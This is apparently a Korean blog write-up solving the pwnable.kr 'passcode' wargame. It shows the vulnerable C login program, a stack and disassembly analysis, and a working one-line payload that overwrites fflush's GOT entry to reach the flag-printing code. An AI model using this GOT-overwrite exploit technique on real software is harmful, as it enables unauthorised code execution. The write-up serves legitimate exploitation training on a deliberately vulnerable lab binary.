728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
2.2. 분석
main 함수 내에서 welcome과 login 함수가 순차적으로 실행된다.
welcome 함수에서는 이름을 받아들이며,
login 함수에서는 두번의 입력을 통해 passcode를 받아들이며, 두 값이 모두 맞으면 flag를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
welcome에서 사용된 stack 영역의 일부가 login에서 초기화하지 않아 재 사용됨에 따라 의도치 않은 곳을 참조하게 된다.
3.2. 공격 준비
welcome 함수에서 a를 가득 채워준 뒤 login 함수로 진입하였을 때 stack의 모양은 아래와 같다.
0000| 0xffdf5ba0 ('a' <repeats 28 times>)
0004| 0xffdf5ba4 ('a' <repeats 24 times>)
0008| 0xffdf5ba8 ('a' <repeats 20 times>)
0012| 0xffdf5bac ('a' <repeats 16 times>)
0016| 0xffdf5bb0 ('a' <repeats 12 times>)
0020| 0xffdf5bb4 ("aaaaaaaa")
0024| 0xffdf5bb8 ("aaaa")
0028| 0xffdf5bbc --> 0x173c0f00
더불어 login 함수에서 비교하는 부분은 아래와 같으며,
=> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
해당 위치는 아래와 같다.
0024| 0xffdf5bb8 ("aaaa") <--- $ebp-0x10
0028| 0xffdf5bbc --> 0x173c0f00 <--- $ebp-0xc
0x10 위치는 그냥 삽입하면 해결되는데, 0xc 위치는 어떻게 수정할 수 있을까...?
조금 더 다시 보았더니 scanf 가 참조하는 변수의 위치를 조정할 수 있다는 것을 깨달았다.
즉, 첫번째 scanf에 저장되는 위치를 조작한 뒤, 다른 함수가 사용되도록 하면 된다.
첫번재 scanf 함수 뒤에 바로 fflush 함수가 사용되기 때문에 이를 코드내의 flag 출력 부분으로 조작하면 될 것이다.
4. exploit
passcode@pwnable:~$ (python -c 'print "A"*96 + "\x04\xa0\x04\x08"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
134514147
----------#플래그는 삭제
enter passcode1 : Now I can safely trust you that you have credential :)
728x90
반응형
'Wargame > pwnable.kr' 카테고리의 다른 글
input (0) | 2022.12.28 |
---|---|
random (0) | 2022.12.28 |
bof (0) | 2022.12.27 |
collision (0) | 2022.12.27 |
fd (0) | 2022.12.27 |